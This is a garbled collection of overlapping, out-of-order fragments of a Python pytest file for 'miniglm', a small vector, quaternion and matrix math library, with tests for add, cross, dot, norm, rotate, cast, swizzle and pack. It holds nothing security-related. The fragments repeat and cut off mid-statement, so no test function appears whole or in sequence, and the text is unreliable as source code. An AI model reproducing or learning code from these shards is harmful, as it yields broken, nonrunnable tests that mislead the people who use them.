"res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0,",
"np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_quat(): res =",
"miniglm.pack(1.75) == struct.pack('f', 1.75) def test_pack_vec(): vec = (1.0, 2.0,",
"2.0, 0.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg(): res =",
"tuple def test_norm_mat(): mat = ( 0.074, 0.962, -0.259, -0.518,",
"0.4, 0.8, 0.4) mat = (-0.6, 0.8, 0.0, -0.48, -0.36,",
"/ 2.0)) def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0,",
"res = miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5,",
"test_cross(): res = miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res,",
"/ 2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0,",
"= miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert",
"= (0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res) is",
"0.7, 0.5, 0.5) assert miniglm.pack(quat) == struct.pack('ffff', *quat) def test_pack_mat():",
"1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert type(res) is tuple",
"test_dot_vec(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res,",
"0.962, -0.259, -0.518, 0.259, 0.814, 0.851, 0.074, 0.518, ) res",
"res = miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected = (0.2, 0.4,",
"miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3))",
"def test_mix_scalar(): res = miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def",
"2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert type(res) is tuple def",
"type(res) is tuple def test_mix_scalar(): res = miniglm.mix(1.0, 3.0, 0.5)",
"'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def test_swizzle_quat(): res = miniglm.swizzle((0.1,",
"0.60, 0.64)) assert type(axis) is tuple def test_rotate_x_90_deg(): res =",
"mat) def test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res,",
"/ 2.0)) def test_norm_vec(): res = miniglm.norm((48.0, 60.0, 64.0)) expected",
"def test_norm_vec(): res = miniglm.norm((48.0, 60.0, 64.0)) expected = (0.48,",
"4.5, 5.5)) assert type(res) is tuple def test_mul_vec_vec(): res =",
"0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_quat():",
"res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0)",
"= miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2,",
"7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert type(res)",
"0.64))) expected = (0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert",
"0.64) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_quat(): res",
"2.0)) def test_norm_vec(): res = miniglm.norm((48.0, 60.0, 64.0)) expected =",
"0.074, 0.518, ) res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]),",
"0.32, 0.8660254037844387) angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0)",
"miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert type(res)",
"def test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8, 1.2))",
"0.4) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_mat(): mat",
"0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0, 0.0, np.sqrt(2.0) / 2.0))",
"np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0, 3.0), 'yxz')",
"(0.1, 0.7, 0.5, 0.5) assert miniglm.pack(quat) == struct.pack('ffff', *quat) def",
"= miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res =",
"tuple def test_norm_quat(): res = miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected",
"5.5)) assert type(res) is tuple def test_mul_vec_vec(): res = miniglm.mul((5.0,",
"3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res = miniglm.mix((2.5, 3.4, 4.6),",
"axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60,",
"test_norm_mat(): mat = ( 0.074, 0.962, -0.259, -0.518, 0.259, 0.814,",
"(0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple",
"miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8))",
"2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0, 0.0,",
"3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert type(res) is tuple",
"= miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0)",
"res = miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res",
"3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def test_swizzle_quat(): res =",
"res = miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5))",
"0.7, 0.5)) def test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f', 1.75) def",
"test_rotate(): res = miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60, 0.64))) expected",
"(1.5, 2.5, 3.5)) assert type(res) is tuple def test_sub_vec_vec(): res",
"def test_dot_quat(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3))",
"np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert type(res) is tuple def test_mul_vec_vec():",
"2.94, 4.32)) assert type(res) is tuple def test_mix_scalar(): res =",
"miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec():",
"is tuple def test_cast(): quat = (0.2, 0.4, 0.8, 0.4)",
"is tuple def test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0, 3.0), 2.0)",
"type(res) is tuple def test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0, 3.0),",
"(1.0, 2.0, 3.0) assert miniglm.pack(vec) == struct.pack('fff', *vec) def test_pack_quat():",
"miniglm.norm((48.0, 60.0, 64.0)) expected = (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected)",
"0.4) mat = (-0.6, 0.8, 0.0, -0.48, -0.36, 0.8, 0.64,",
"test_pack_quat(): quat = (0.1, 0.7, 0.5, 0.5) assert miniglm.pack(quat) ==",
"(1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert type(res) is",
"6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert",
"np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert type(axis) is tuple def test_rotate_x_90_deg():",
"is tuple def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (1.0,",
"3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert type(res) is tuple",
"np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0,",
"= miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0,",
"np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res =",
"(0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0)",
"test_pack_mat(): mat = (1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0,",
"1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert type(res) is tuple def",
"is tuple def test_dot_vec(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2,",
"1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert type(res) is tuple def",
"def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0, 0.0))",
"(1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0, 0.0, np.sqrt(2.0)",
"/ 3.0, miniglm.norm((0.48, 0.60, 0.64))) expected = (0.24, 0.3, 0.32,",
"/ 2.0, 0.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg(): res",
"= (0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert type(res) is",
"np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res = miniglm.mix((2.5, 3.4, 4.6), (7.2,",
"assert type(res) is tuple def test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0,",
"assert type(res) is tuple def test_mix_scalar(): res = miniglm.mix(1.0, 3.0,",
"res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res) is tuple def",
"numpy as np import pytest import miniglm def test_add_vec_vec(): res",
"0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat)",
"1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert type(res) is tuple",
"(-59.45, -5.18, 19.3)) assert type(res) is tuple def test_dot_vec(): res",
"res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]),",
"0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0) / 2.0)) def test_norm_vec(): res",
"np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert type(res) is tuple def test_sub_vec_vec():",
"quat = (0.24, 0.3, 0.32, 0.8660254037844387) angle, axis = miniglm.split(quat)",
"1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0)",
"np import pytest import miniglm def test_add_vec_vec(): res = miniglm.add((1.0,",
"def test_add_vec_vec(): res = miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8, 1.2))",
"(3.5, 4.5, 5.5)) assert type(res) is tuple def test_mul_vec_vec(): res",
"type(res) is tuple def test_norm_quat(): res = miniglm.norm((2.0, 4.0, 8.0,",
"np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res) is tuple",
"0.5, 0.5) assert miniglm.pack(quat) == struct.pack('ffff', *quat) def test_pack_mat(): mat",
"3.5)) assert type(res) is tuple def test_sub_vec_vec(): res = miniglm.sub((5.0,",
"res = miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0)",
"assert type(res) is tuple def test_norm_mat(): mat = ( 0.074,",
"(7.5, 10.8, 8.4)) assert type(res) is tuple def test_mul_vec_scalar(): res",
"assert type(axis) is tuple def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi /",
"np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0, 0.0, np.sqrt(2.0) / 2.0)) def",
"type(res) is tuple def test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0, 7.0),",
"res = miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5))",
"= miniglm.norm((48.0, 60.0, 64.0)) expected = (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res,",
"assert type(res) is tuple def test_cross(): res = miniglm.cross((2.0, 3.5,",
"0.60, 0.64))) expected = (0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected)",
"-0.48, -0.36, 0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat)",
"angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48,",
"def test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f', 1.75) def test_pack_vec(): vec",
"np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2,",
"= (1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0)",
"vec = (1.0, 2.0, 3.0) assert miniglm.pack(vec) == struct.pack('fff', *vec)",
"0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat)",
"= miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0)",
"1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert type(res) is tuple",
"test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res,",
"def test_add_vec_scalar(): res = miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5,",
"0.0, np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi /",
"assert miniglm.pack(1.75) == struct.pack('f', 1.75) def test_pack_vec(): vec = (1.0,",
"import pytest import miniglm def test_add_vec_vec(): res = miniglm.add((1.0, 2.0,",
"np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res = miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48,",
"miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94,",
"np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert type(res) is tuple def test_add_vec_scalar():",
"miniglm def test_add_vec_vec(): res = miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8,",
"struct.pack('ffff', *quat) def test_pack_mat(): mat = (1.0, 2.0, 3.0, 4.0,",
"np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_norm_mat(): mat =",
"4.2)) assert type(res) is tuple def test_add_vec_scalar(): res = miniglm.add((1.0,",
"test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f', 1.75) def test_pack_vec(): vec =",
"def test_pack_vec(): vec = (1.0, 2.0, 3.0) assert miniglm.pack(vec) ==",
"assert type(res) is tuple def test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0,",
"type(res) is tuple def test_cross(): res = miniglm.cross((2.0, 3.5, 7.1),",
"miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat():",
"res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]),",
"assert type(res) is tuple def test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0,",
"58.83) def test_dot_quat(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0,",
"8.4)) assert type(res) is tuple def test_mul_vec_scalar(): res = miniglm.mul((1.0,",
"expected) assert type(res) is tuple def test_norm_quat(): res = miniglm.norm((2.0,",
"= (-0.6, 0.8, 0.0, -0.48, -0.36, 0.8, 0.64, 0.48, 0.6)",
"(1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4)) assert type(res) is",
"1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0) / 2.0))",
"def test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res,",
"= miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44,",
"(3.5, 4.2, 5.8)) assert type(res) is tuple def test_sub_vec_scalar(): res",
"expected = (0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res)",
"test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res,",
"0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert type(res) is tuple def",
"0.0) assert type(res) is tuple def test_cast(): quat = (0.2,",
"type(res) is tuple def test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0, 7.0),",
"/ 2.0)) def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0,",
"3.0) assert miniglm.pack(vec) == struct.pack('fff', *vec) def test_pack_quat(): quat =",
"10.8, 8.4)) assert type(res) is tuple def test_mul_vec_scalar(): res =",
"1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert type(res) is tuple def",
"-0.36, 0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)),",
"(np.sqrt(2.0) / 2.0, 0.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg():",
"def test_norm_quat(): res = miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected =",
"4.0, 5.0, 6.0, 7.0, 8.0, 9.0) assert miniglm.pack(mat) == struct.pack('fffffffff',",
"2.0, 3.0) assert miniglm.pack(vec) == struct.pack('fff', *vec) def test_pack_quat(): quat",
"3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0) assert miniglm.pack(mat) ==",
"is tuple def test_mix_scalar(): res = miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res,",
"1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert type(res) is",
"miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0,",
"np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec():",
"tuple def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0,",
"test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res,",
"res = miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1,",
"type(res) is tuple def test_norm_mat(): mat = ( 0.074, 0.962,",
"import struct import numpy as np import pytest import miniglm",
"2.0, 3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8, 4.2)) assert",
"test_norm_quat(): res = miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected = (0.2,",
"expected = (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert type(res) is",
"== struct.pack('f', 1.75) def test_pack_vec(): vec = (1.0, 2.0, 3.0)",
"expected) assert type(res) is tuple def test_split_quat(): quat = (0.24,",
"np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3],",
"res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0,",
"= miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert",
"def test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5,",
"(0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert type(res) is",
"7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert type(res) is tuple",
"miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert type(axis) is",
"assert type(res) is tuple def test_add_vec_scalar(): res = miniglm.add((1.0, 2.0,",
"10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert type(res) is tuple",
"miniglm.norm((0.48, 0.60, 0.64))) expected = (0.24, 0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res,",
"= ( 0.074, 0.962, -0.259, -0.518, 0.259, 0.814, 0.851, 0.074,",
"test_add_vec_scalar(): res = miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5,",
"2.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi",
"test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0,",
"test_mix_vec(): res = miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1, 3.2), 0.2)",
"(3.44, 2.94, 4.32)) assert type(res) is tuple def test_mix_scalar(): res",
"0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)),",
"tuple def test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8,",
"res = miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0))",
"10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res = miniglm.dot((2.0, 3.5,",
"expected) assert type(res) is tuple def test_norm_mat(): mat = (",
"def test_rotate_z_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0, 1.0))",
"tuple def test_dot_vec(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0,",
"6.0)) assert type(res) is tuple def test_cross(): res = miniglm.cross((2.0,",
"is tuple def test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0, 7.0), (1.5,",
"miniglm.rotate(miniglm.pi / 2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0)",
"2.5, 3.5)) assert type(res) is tuple def test_sub_vec_vec(): res =",
"tuple def test_mix_scalar(): res = miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0)",
"type(res) is tuple def test_dot_vec(): res = miniglm.dot((2.0, 3.5, 7.1),",
"0.518, ) res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9])",
"res = miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45,",
"*vec) def test_pack_quat(): quat = (0.1, 0.7, 0.5, 0.5) assert",
"= miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64))",
"7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res =",
"= miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected = (0.2, 0.4, 0.8,",
"def test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0, 0.0))",
"4.0)) expected = (0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert",
"(0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res = miniglm.dot((2.0,",
"(0.2, 0.4, 0.8, 0.4) mat = (-0.6, 0.8, 0.0, -0.48,",
"quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0, 3.0),",
"np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7,",
"quat = (0.1, 0.7, 0.5, 0.5) assert miniglm.pack(quat) == struct.pack('ffff',",
"-0.259, -0.518, 0.259, 0.814, 0.851, 0.074, 0.518, ) res =",
"np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]),",
"res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83)",
"3.0, miniglm.norm((0.48, 0.60, 0.64))) expected = (0.24, 0.3, 0.32, 0.8660254037844387)",
"miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert",
"quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res = miniglm.swizzle((1.0,",
"-5.18, 19.3)) assert type(res) is tuple def test_dot_vec(): res =",
"2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0) assert miniglm.pack(mat)",
"/ 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert type(axis) is tuple",
"import miniglm def test_add_vec_vec(): res = miniglm.add((1.0, 2.0, 3.0), (1.5,",
"test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0,",
"0.8, 0.0, -0.48, -0.36, 0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat)",
"(1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert type(res) is",
"np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert type(res) is tuple def test_sub_vec_scalar():",
"= miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8,",
"assert type(res) is tuple def test_dot_vec(): res = miniglm.dot((2.0, 3.5,",
"pytest import miniglm def test_add_vec_vec(): res = miniglm.add((1.0, 2.0, 3.0),",
"0.8660254037844387) angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis,",
"0.814, 0.851, 0.074, 0.518, ) res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0)",
"0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0) /",
"3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res = miniglm.dot((2.0, 3.5, 7.1),",
"= miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert",
"test_rotate_x_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res,",
